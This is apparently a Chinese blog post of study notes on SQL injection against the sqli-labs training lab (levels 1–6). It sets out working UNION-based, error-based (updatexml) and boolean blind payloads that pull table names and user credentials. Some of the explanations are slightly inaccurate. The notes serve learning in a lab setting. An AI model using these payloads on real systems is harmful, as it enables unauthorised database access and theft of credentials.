sql注入总结-1

SQL注入

1.查看类型

如果是字符型注入 我们可以输入?id=1\ 弹出的

near ''1') LIMIT 0,1 报错类 型为')

near ''1')) LIMIT 0,1 报错类型为'))

切在变为?id=1\--+后恢复正常则可以判断类型

2.id=1和id=-1的区别

    • id=1:这个条件通常用于查找数据库中 id 列值为 1 的记录。在大多数数据库中,id 通常用作主键,每个记录都有一个唯一的 id 值。因此,这个查询很可能返回数据库中 id1 的那条记录。

      这部分输入首先提供了一个无效的查询条件(-1 通常不是一个有效的 id 值,假设 id 应该是正数),并且闭合了原始查询中可能存在的单引号。这通常会导致原始查询返回空结果集,为后续的 UNION 操作做准备。

    • id=-1:这个条件用于查找 id 列值为 -1 的记录。由于 -1 不是一个通常用作主键的值(主键通常是从正整数开始的),这个查询可能不会返回任何结果,除非数据库中确实存在 id-1 的记录。

  1. 查询结果

    • 使用 id=1 作为条件的查询很可能会返回一条具体的记录,前提是数据库中存在 id1 的记录。

    • 使用 id=-1 作为条件的查询则可能不会返回任何记录,因为 -1 通常不会是有效的主键值。

在SQL注入的上下文中,使用 id=-1 可能是出于以下原因:

  • 避免返回真实数据 :攻击者可能故意使用一个不可能的 id 值(如 -1),以确保原始查询不会返回任何真实的数据。这样做可以为后续的 UNION 操作清理结果集,使得注入的数据更容易被识别。

    使用union语句就需要id=-1

    3.union语句

    ?id=-1'

    union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    相当于 select * from student union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

    ?id=-1为 select * from student部分 主要与后面割裂

第一关

判断为字符 ' 型注入

1.手工查询有多少栏目

?id=1' order by 2--+

发现3的时候可以,4的时候不可以,说明有3列

2.显示报错位

?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

3.爆库名

?id=-1' union select 1,database(),3 --+

database()为函数 可以看到该数据库

4.爆表名

?id=-1'

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat(table_name) 是一个SQL函数,它将 information_schema.tables 表中所有 table_name 列的值连接成一个字符串。

5.爆列名

?id=-1'

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

6.爆数据

?id=-1'

union select 1,group_concat(username),group_concat(password) from users --+

优化排版

?id=-1'

union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

  • 0x3a 是十六进制编码的冒号字符 :

  • 0x3C,0x68,0x72,0x2F,0x3E 是十六进制编码的字符串 </hr>,它看起来像是HTML标签 </hr>,但实际上 <hr> 是不正确的HTML标签(应该是 <hr/><hr>)。这可能是一个错误,或者攻击者可能有其他目的。

2---4关只有闭合方式不同 公式同上

第5关

1.?id=1\ 判断是字符型注入 且为 ' 闭合

2.判断注入点

?id=1' and 1=1 --+

注入点判断

  • 您输入的 ?id=1' and 1=1 --+ 是一个典型的测试语句,用于检查注入点是否对SQL逻辑产生影响。因为 1=1 是一个永真条件,如果页面在输入这个条件后显示 "You are in...",则意味着注入点存在,并且您可以通过改变条件来控制SQL逻辑。

  • 但是,由于页面没有回显,您可能需要尝试其他方法来确认注入点。

基于布尔值的盲注

  • 因为页面没有直接回显数据库信息,您需要根据页面内容的变化来判断注入是否成功。

  • 尝试使用不同的逻辑条件,例如:

    • ?id=1' and 1=2 --+:如果页面不显示 "You are in...",则表示注入点可能存在,因为 1=2 是一个永假条件,应当导致原始查询失败。

    • ?id=1' and '1'='1:这是一个永真条件,如果页面显示 "You are in...",则表示注入点存在。

    • ?id=1' and '1'='2:这是一个永假条件,如果页面不显示 "You are in...",则进一步确认注入点存在。

3.爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

  1. ?id=1':这部分输入闭合了原始查询中可能存在的单引号,并提供了初始的查询条件。

  2. and:这是一个逻辑运算符,用于在原始查询的基础上添加额外的条件。

  3. updatexml():这是MySQL数据库中的一个函数,用于更新XML文档中的内容。它的三个参数分别是:

    • 第一个参数:XML文档的路径。

    • 第二个参数:要更新的内容。

    • 第三个参数:可选,表示更新的内容类型。

  4. concat(0x7e,(database()),0x7e):这是一个 concat() 函数,用于连接字符串。在这个例子中,它连接了以下三个部分:

    • 0x7e:这是十六进制编码的波浪号字符 ~

    • (database()):这是MySQL的 database() 函数,返回当前数据库的名称。

    • 0x7e:又是十六进制编码的波浪号字符 ~

  5. --+:这是SQL注释符号,用于注释掉原始查询中可能存在的任何后续代码,以防止语法错误。

updatexml()` 函数可能需要特定的权限才能执行。

因此,这种攻击方法通常只能在特定条件下成功,例如在渗透测试或教学环境中。在真实环境中,攻击者可能需要使用更复杂或不同的方法来利用SQL注入漏洞。

2.爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

③爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

4.爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第6关

1.?id=1\ 判断是字符型注入 且为 '' 闭合

2.判断数据库长度

?id=1" and length(database())<8

?id=1" and length(database())<9

所以库名长度=8

相关推荐
秋野酱1 小时前
如何在 Spring Boot 中实现自定义属性
java·数据库·spring boot
weisian1511 小时前
Mysql--实战篇--@Transactional失效场景及避免策略(@Transactional实现原理,失效场景,内部调用问题等)
数据库·mysql
AI航海家(Ethan)1 小时前
PostgreSQL数据库的运行机制和架构体系
数据库·postgresql·架构
Amd7942 小时前
深入探讨索引的创建与删除:提升数据库查询效率的关键技术
数据结构·sql·数据库管理·索引·性能提升·查询优化·数据检索
Kendra9194 小时前
数据库(MySQL)
数据库·mysql
时光书签5 小时前
Mongodb副本集群为什么选择3个节点不选择4个节点
数据库·mongodb·nosql
人才程序员7 小时前
【C++拓展】vs2022使用SQlite3
c语言·开发语言·数据库·c++·qt·ui·sqlite
极客先躯7 小时前
高级java每日一道面试题-2025年01月23日-数据库篇-主键与索引有什么区别 ?
java·数据库·java高级·高级面试题·选择合适的主键·谨慎创建索引·定期评估索引的有效性
指尖下的技术7 小时前
Mysql面试题----MyISAM和InnoDB的区别
数据库·mysql
永远是我的最爱8 小时前
数据库SQLite和SCADA DIAView应用教程
数据库·sqlite